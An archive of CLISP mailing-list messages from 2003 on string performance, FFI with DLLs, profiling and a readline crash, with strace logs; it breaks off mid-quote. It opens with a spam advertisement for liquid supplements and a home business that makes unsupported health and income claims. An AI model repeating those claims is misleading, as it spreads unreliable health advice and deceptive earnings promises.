skljn Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 27 12:26:05 2003 X-Original-Date: Thu, 27 Feb 2003 15:27:39 -0500

THE NEXT TRILLION DOLLAR INDUSTRY

Baby Boomers focused on Wellness and Anti-Aging will drive the Health  & Wellness Industry from $200 Billion to $1 Trillion Dollars by 2010! Our once doctor exclusive liquid nutritional formulas have been time tested and  proven by 1000's of health care practitioners, Olympic Gold Medalists, Hollywood Stars, and tens of 1000's of customers alike.The perfect  products for your new business, and your health!

Future Business Partner,

To quote Industry Leader Jim Rohn"most people don't do well
in life  because they don't feel well."
So don't think you're going to build a  financial empire on coffee and doughnuts or just eating what the average person eats. You must eat better to be better.

Our products are the way to  increase your health while you
are building your business. You must have  solid products at the
heart of any business, so learn why for 21 years medical
professionals have taken and recommended these products,
by going back to YOUR site and clicking on the Products link.

"I feel liquid nutrients are like a computer and pills are like a typewriter. Once someone types a letter on a computer and sees how superior it is, they never want to touch a typewriter again." - David  Friedman DC, ND

"I replaced a whole fistful of pills and capsules  with 2 ounces of delicious tasting Body Balance several years ago and I've never  been HEALTHIER, WEALTHIER or HAPPIER in my whole life!"
- Charlie Foy


Again, if you are someone serious about  supplementing your income or actually replacing your existing income inside of a year, let me know who you are! I can help you to be successful too.

Previous experience (success or  failure) in this industry DOES NOT MATTERbecause  we are well aware that NO COMPANY has ever had a SYST M in place like we do. Just bring your DESIRE ...that is all I need to work with.

Click on NEXT for more information on this exciting new opportunity................

HOME BASED BUSINESS

This e-mail is sent in compliance with our strict anti-abuse regulations. You have received this e-mail because you or someone using your computer has used an FFA List, Safe List or requested other imformation. If you do not wish to receive any mail from our servers you may permanently block your e-mail address by clicking on the following link. (Please be advised by blocking your e-mail you will not have access to over 900 domains and the thousands of users and services they represent)

.Thank you,
The  Postmaster

To Be Removed from this mailing list please click below:

Unsubscribe

ajypsvsittpohyytqofdtbakjirt From sds@gnu.org Thu Feb 27 16:06:00 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18oY2K-0001kG-00 for ; Thu, 27 Feb 2003 16:06:00 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out005.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030228000552.GFCC6910.out005.verizon.net@loiso.podval.org>; Thu, 27 Feb 2003 18:05:52 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h1S06scO012517; Thu, 27 Feb 2003 19:06:54 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h1S06rJj012513; Thu, 27 Feb 2003 19:06:53 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] parse-integer slowdown & make-string /= make-array of 'character References: <9F8582E37B2EE5498E76392AEDDCD3FE025EFC27@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE025EFC27@G8PQD.blf01.telekom.de> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.48.207] at Thu, 27 Feb 2003 18:05:52 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 27 16:06:09 2003 X-Original-Date: 27 Feb 2003 19:06:53 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE025EFC27@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] parse-integer slowdown & make-string /= make-array of 'character" > * Sent on Wed, 26 Feb 2003 16:05:10 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > It also appears that MAKE-STRING is very different from MAKE-ARRAY > :element-type 'character. Using strings from MAKE-STRING is fast with > PARSE-INTEGER, while strings from MAKE-ARRAY exhibit the tremendous > slowdown. try SYS::STRING-INFO on the different strings. > What changed between 2.28 and 2.30, producing such a dramatic impact? 2002-05-22 mutable small strings. could you please profile your code with the CVS head? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux main(a){a="main(a){a=%c%s%c;printf(a,34,a,34);}";printf(a,34,a,34);} From crewk@yahoo.com Thu Feb 27 16:19:43 2003 Received: from web13805.mail.yahoo.com ([216.136.175.15]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18oYFb-0006iF-00 for ; Thu, 27 Feb 2003 16:19:43 -0800 Message-ID: <20030228001942.6771.qmail@web13805.mail.yahoo.com> Received: from [128.206.20.242] by web13805.mail.yahoo.com via HTTP; Thu, 27 Feb 2003 16:19:42 PST From: Matthew Williams To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] FFI with a .dll Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 27 16:20:08 2003 X-Original-Date: Thu, 27 Feb 2003 16:19:42 -0800 (PST) I have a .c function that has been compiled into a .dll file. I want to use FFI to call that function from within CLISP. What function do I use to load the .dll file? I've seen several examples of doing this on unix (not with .dll), but I am stuck on the Windows platform. Code I'm testing with: foo.c __declspec(dllexport) int foo() { return 99; } lisp: (load "C:\\lisp\\foo.dll") ; converting from Allegro, this obviously doesn't work in CLISP (ffi:def-call-out foo (:arguments (nil nil)) (:return-type ffi:int) (:language :c) ) thanks, matthew williams __________________________________________________ Do you Yahoo!? Yahoo! Tax Center - forms, calculators, tips, more http://taxes.yahoo.com/ From Joerg-Cyril.Hoehle@t-systems.com Fri Feb 28 00:54:45 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ogHz-0007gy-00 for ; Fri, 28 Feb 2003 00:54:43 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 28 Feb 2003 09:54:34 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Feb 2003 09:54:33 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE025F0146@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: crewk@yahoo.com Subject: [clisp-list] FFI with a .dll MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 28 01:24:17 2003 X-Original-Date: Fri, 28 Feb 2003 09:54:32 +0100 Matthew Williams wrote: >I have a .c function that has been compiled into a >.dll file. I want to use FFI to call that function You cannot make use of a .dll for now unless you apply the patch that I sent to this list around March 2002. I'm sorry that I did not finalize that. It's certainly needed. What you can do instead is (if you can compile CLISP from sources) to have your C function in a standard .obj file. Then compile your file containing def-call-out. This will generate a C interface file to your function (by creating what CLISP calls an external module). Then you link all of this into a new lisp.exe binary (and must edit modules.h prior to that). I have written a MS-Word document (available in .doc and .pdf) that goes into details. Sent me private e-mail if you need that. >foo.c >__declspec(dllexport) int foo() >{ return 99; >} >(ffi:def-call-out foo > (:arguments (nil nil)) Just omit :arguments or put an empty list [()]. (nil nil) is not the way to declare this case. > (:return-type ffi:int) > (:language :c) These days you should probably use :language :stdc (means ANSI C) Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Feb 28 01:29:33 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ogpa-0004T1-00 for ; Fri, 28 Feb 2003 01:29:27 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 28 Feb 2003 10:28:59 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Feb 2003 10:28:57 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE025F015D@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] parse-integer slowdown & make-string /= make-array of 'character Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 28 01:30:08 2003 X-Original-Date: Fri, 28 Feb 2003 10:28:54 +0100 Hi, From the description of ENCODING as a type in impnotes, I came to realise that (MAKE-ARRAY x :element-type charset:iso-8859-1) must be perfectly legal (in CLISP), according to the ANSI CL wording. [769]> (subtypep charset:iso-8859-1 'character) -> T ; T Yet [573]> (sys::string-info (make-array 1 :element-type charset:iso-8859-1)) 8 ; NIL ; NIL [579]> (sys::string-info (make-array 1 :element-type charset:unicode-16)) 8 ; NIL ; NIL I'd have expected 16 here. I'm unsure whether CLISP should implement and advocate this as a recommended way to obtain the string-8/16/32 objects that CLISP internally uses. Yet it looks like the right way (TRW) to allocate a string specialised to hold unicode-16 or -32 or -8 characters (or iso-8859-1 etc.). Maybe somebody would find a use out of this (instead of these differences being shamefully hidden as by now, causing unexpected conversions)? (Which brings me back to encoding-zeroes and rambling about encoding_min/max broken slots.) Sam wrote: >> It also appears that MAKE-STRING is very different from MAKE-ARRAY >> :element-type 'character. Using strings from MAKE-STRING is fast with >> PARSE-INTEGER, while strings from MAKE-ARRAY exhibit the tremendous >> slowdown. >try SYS::STRING-INFO on the different strings. [558]> (sys::string-info (make-string 1)) 32 ; NIL ; NIL [559]> (sys::string-info (make-array 1 :element-type 'character)) 8 ; NIL ;NIL Oh, I mixed up the output from SPACE in my previous post -- sorry. SIMPLE-STRING 0 0 1 130008 is from MAKE-ARRAY, and 520008 is from MAKE-STRING. So MAKE-STRING takes more room but is faster with PARSE-INTEGER. >> What changed between 2.28 and 2.30, producing such a dramatic impact? >2002-05-22 mutable small strings. Ah. Yet that does not explain why parse-integer changed run-time behaviour while other functions didn't (at least I didn't notice). >could you please profile your code with the CVS head? That'll have to wait until I can use CVS. It's less of a problem now that cvs-ssh.sourceforge.net has opened a ssh server on port 443 so as to fool all those firewalls or proxies which would limit htts access to port 443 only. All I need now is to get a Linux box here with internet access rights. None of the machines here has, for now. Please explain how to profile with CLISP -- you probably don't mean the metering.lisp package. I once added profile(3) calls to C code but I see no support in makemake or configure of CLISP from that. Regards, Jorg Hohle. From sds@gnu.org Fri Feb 28 06:54:14 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18olts-0006jN-00 for ; Fri, 28 Feb 2003 06:54:12 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out004.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030228145405.KGMZ7930.out004.verizon.net@loiso.podval.org>; Fri, 28 Feb 2003 08:54:05 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h1SEt8cO014511; Fri, 28 Feb 2003 09:55:08 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h1SEt7Fi014507; Fri, 28 Feb 2003 09:55:07 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] parse-integer slowdown & make-string /= make-array of 'character References: <9F8582E37B2EE5498E76392AEDDCD3FE025F015D@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE025F015D@G8PQD.blf01.telekom.de> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [151.203.48.207] at Fri, 28 Feb 2003 08:54:05 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 28 06:55:07 2003 X-Original-Date: 28 Feb 2003 09:55:06 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE025F015D@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] parse-integer slowdown & make-string /= make-array of 'character" > * Sent on Fri, 28 Feb 2003 10:28:54 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > >could you please profile your code with the CVS head? > All I need now is to get a Linux box here with internet access > rights. None of the machines here has, for now. why can't you do that with woe32? > Please explain how to profile with CLISP -- you probably don't mean > the metering.lisp package. I once added profile(3) calls to C code but > I see no support in makemake or configure of CLISP from that. compile with "-p" (add it to CFLAGS manually) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Just because you're paranoid doesn't mean they AREN'T after you. From sds@gnu.org Fri Feb 28 08:14:09 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18on9F-0003k7-00 for ; Fri, 28 Feb 2003 08:14:09 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out002.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030228161400.LGVM6546.out002.verizon.net@loiso.podval.org>; Fri, 28 Feb 2003 10:14:00 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h1SGF4cO015297; Fri, 28 Feb 2003 11:15:04 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h1SGEu3O015291; Fri, 28 Feb 2003 11:14:56 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] parse-integer slowdown & make-string /= make-array of 'character References: <9F8582E37B2EE5498E76392AEDDCD3FE025EFC27@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE025EFC27@G8PQD.blf01.telekom.de> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [151.203.48.207] at Fri, 28 Feb 2003 10:14:00 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 28 08:27:16 2003 X-Original-Date: 28 Feb 2003 11:14:56 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE025EFC27@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] parse-integer slowdown & make-string /= make-array of 'character" > * Sent on Wed, 26 Feb 2003 16:05:10 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > It also appears that MAKE-STRING is very different from MAKE-ARRAY > :element-type 'character. Using strings from MAKE-STRING is fast with > PARSE-INTEGER, while strings from MAKE-ARRAY exhibit the tremendous slowdown. On 2002-05-22 Bruno introduced mutable small strings. This means that whenever you parse a string, you call unpack_sstring_alloca(), which involves a copy_16bit_32bit() or copy_8bit_32bit() call for a "small string" (8-bit or 16-bit). It appears that we need to eliminate all calls to unpack_sstring_alloca() and replace them with SstringDispatch(), which does not carry the same overhead. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux A slave dreams not of Freedom, but of owning his own slaves. From vvzhy@mail.ru Sun Mar 02 06:11:29 2003 Received: from mx10.mail.ru ([194.67.57.20]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18pUBW-0005oE-00 for ; Sun, 02 Mar 2003 06:11:22 -0800 Received: from drweb by mx10.mail.ru with drweb-scanned (Exim MX.A) id 18pUBT-000Nrm-00 for clisp-list@lists.sourceforge.net; Sun, 02 Mar 2003 17:11:19 +0300 Received: from [213.247.176.164] (helo=mail.ru) by mx10.mail.ru with esmtp (Exim SMTP.A) id 18pUBS-000Nrd-00 for clisp-list@lists.sourceforge.net; Sun, 02 Mar 2003 17:11:18 +0300 Message-ID: <3E62106A.2010500@yandex.ru> From: "Vadim V. Zhytnikov" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.3b) Gecko/20030206 X-Accept-Language: ru-ru, ru MIME-Version: 1.0 To: Clisp List Content-Type: multipart/mixed; boundary="------------090503000009040508040004" Subject: [clisp-list] readline & gcc 3.2 problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 2 10:05:53 2003 X-Original-Date: Sun, 02 Mar 2003 17:08:42 +0300 This is a multi-part message in MIME format. --------------090503000009040508040004 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Several months ago wrote to the clisp-list about problems which I experience with clisp 2.30 & clisp CVS. Unfortunately I was not able to debug the problem more thoroughly then and I'm doing it now. The problem is that various readline operations don't work as expected and may even crash clisp. In particular if I just start clisp, press "a", and then hit TAB then normally clisp beeps and after second tab prints a list of symbols whose names begins with a. But in my case first TAB causes stack overflow if libsigsegv is present and core dump if libsigsegv is absent. Please, the the transcript below: ========================================== Script started on Sun Mar 2 15:35:04 2003 [vadim@proxl src]$ LANG=C ./clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2003 [1]> a *** - Program stack overflow. RESET [2]> (quit) Bye. [vadim@proxl src]$ Script done on Sun Mar 2 15:35:28 2003 ========================================== My environment is: Linux 2.4.18, glibc 2.2.6, readline 4.3. I recompiled lisp with debug option and to my astonishment problem magically disappeared! So the same code compiled without debug crashes and with debug works fine. I've attached pieces of strace log for both this cases. I didn't mentioned yet that in all test I used gcc 3.2.1. So I tried to build clisp with the with other available compilers namely gcc 2.95 and 2.95.3. In both cases clisp works fine and I don't observe any troubles with readline. It seems that there is some subtle point concerning readline and gcc 3.2 in clisp. Can anybody reproduce the problem? I'm ready to debug it further to pin down the problem. Best wishes, Vadim -- Vadim V. Zhytnikov --------------090503000009040508040004 Content-Type: text/plain; name="clisp-crash.strace" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="clisp-crash.strace" read(0, "a", 1) = 1 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40020000 write(1, "a", 1) = 1 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 read(0, "\t", 1) = 1 open("/usr/lib/gconv/KOI8-R.so", O_RDONLY) = 9 read(9, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\6\0\000"..., 1024) = 1024 fstat64(9, {st_mode=S_IFREG|0755, st_size=7316, ...}) = 0 mmap2(NULL, 10328, PROT_READ|PROT_EXEC, MAP_PRIVATE, 9, 0) = 0x40021000 mprotect(0x40023000, 2136, PROT_NONE) = 0 mmap2(0x40023000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 9, 0x1) = 0x40023000 close(9) = 0 --- SIGSEGV (Segmentation fault) @ 0 (0) --- mprotect(0x202b9000, 4096, PROT_READ|PROT_WRITE) = 0 sigreturn() = ? (mask now []) --- SIGSEGV (Segmentation fault) @ 0 (0) --- open("/proc/self/maps", O_RDONLY) = 9 fstat64(9, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40024000 read(9, "08048000-08173000 r-xp 00000000 "..., 4096) = 2936 close(9) = 0 munmap(0x40024000, 4096) = 0 open("/usr/share/locale/ru_RU.KOI8-R/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/ru_RU.koi8r/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/ru_RU/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/ru.KOI8-R/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/ru.koi8r/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/ru/LC_MESSAGES/clisplow.mo", O_RDONLY) = -1 ENOENT (No such file or directory) write(2, "\n*** - Program stack overflow. R"..., 36 *** - Program stack overflow. RESET) = 36 mmap2(0x202f2000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x202f2000 select(1024, [0], NULL, NULL, {0, 0}) = 0 (Timeout) write(1, "\n", 1) = 1 write(1, "[2]> ", 5) = 5 fsync(1) = -1 EINVAL (Invalid argument) --------------090503000009040508040004 Content-Type: text/plain; name="clisp-debug.strace" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="clisp-debug.strace" read(0, "a", 1) = 1 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40020000 write(1, "a", 1) = 1 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 read(0, "\t", 1) = 1 open("/usr/lib/gconv/KOI8-R.so", O_RDONLY) = 9 read(9, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\6\0\000"..., 1024) = 1024 fstat64(9, {st_mode=S_IFREG|0755, st_size=7316, ...}) = 0 mmap2(NULL, 10328, PROT_READ|PROT_EXEC, MAP_PRIVATE, 9, 0) = 0x40021000 mprotect(0x40023000, 2136, PROT_NONE) = 0 mmap2(0x40023000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 9, 0x1) = 0x40023000 close(9) = 0 write(2, "\7", 1) = 1 rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 read(0, "\t", 1) = 1 mmap2(0x2034a000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2034a000 write(1, "\n", 1) = 1 write(1, "abort appl"..., 67) = 67 write(1, "abs apro"..., 73) = 73 write(1, "acons apro"..., 78) = 78 write(1, "acos aref"..., 73) = 73 write(1, "acosh argl"..., 79) = 79 write(1, "add-method arit"..., 60) = 60 write(1, "address arit"..., 61) = 61 write(1, "adjoin arit"..., 62) = 62 write(1, "adjustable-array-p arra"..., 63) = 63 write(1, "adjust-array arra"..., 62) = 62 write(1, "allocate-instance arra"..., 65) = 65 write(1, "alpha-char-p arra"..., 69) = 69 write(1, "alphanumericp arra"..., 61) = 61 write(1, "and arra"..., 62) = 62 write(1, "appease-cerrors arra"..., 61) = 61 write(1, "append arra"..., 57) = 57 write(1, "apply arra"..., 57) = 57 write(1, "[1]> a", 6) = 6 --------------090503000009040508040004-- From sds@gnu.org Sun Mar 02 12:23:21 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18pZzU-0000e2-00 for ; Sun, 02 Mar 2003 12:23:20 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out006.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030302202310.VHQM4892.out006.verizon.net@loiso.podval.org>; Sun, 2 Mar 2003 14:23:10 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h22KOKcO032553; Sun, 2 Mar 2003 15:24:20 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h22KOIwD032549; Sun, 2 Mar 2003 15:24:18 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Vadim V. Zhytnikov" Cc: Clisp List Subject: Re: [clisp-list] readline & gcc 3.2 problem References: <3E62106A.2010500@yandex.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3E62106A.2010500@yandex.ru> Message-ID: Lines: 121 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.203.48.207] at Sun, 2 Mar 2003 14:23:10 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 2 12:35:55 2003 X-Original-Date: 02 Mar 2003 15:24:18 -0500 > * In message <3E62106A.2010500@yandex.ru> > * On the subject of "[clisp-list] readline & gcc 3.2 problem" > * Sent on Sun, 02 Mar 2003 17:08:42 +0300 > * Honorable "Vadim V. Zhytnikov" writes: > > Script started on Sun Mar 2 15:35:04 2003 > [1]> a > *** - Program stack overflow. RESET > [2]> (quit) > Bye. > [vadim@proxl src]$ > Script done on Sun Mar 2 15:35:28 2003 > > ========================================== > > My environment is: > Linux 2.4.18, glibc 2.2.6, readline 4.3. > > I recompiled lisp with debug option and to my > astonishment problem magically disappeared! the problem starts with SAFETY<=1 (see lispbibl.d) See > So the same code compiled without debug crashes > and with debug works fine. I've attached pieces > of strace log for both this cases. > > I didn't mentioned yet that in all test I used gcc 3.2.1. So I tried > to build clisp with the with other available compilers namely gcc 2.95 > and 2.95.3. In both cases clisp works fine and I don't observe any > troubles with readline. It seems that there is some subtle point > concerning readline and gcc 3.2 in clisp. > Can anybody reproduce the problem? yes. plese see > I'm ready to debug it further to pin down the problem. Please do, by all means!!! > > > read(0, "a", 1) = 1 > fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 > mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40020000 > write(1, "a", 1) = 1 > rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0 > read(0, "\t", 1) = 1 > open("/usr/lib/gconv/KOI8-R.so", O_RDONLY) = 9 > read(9, 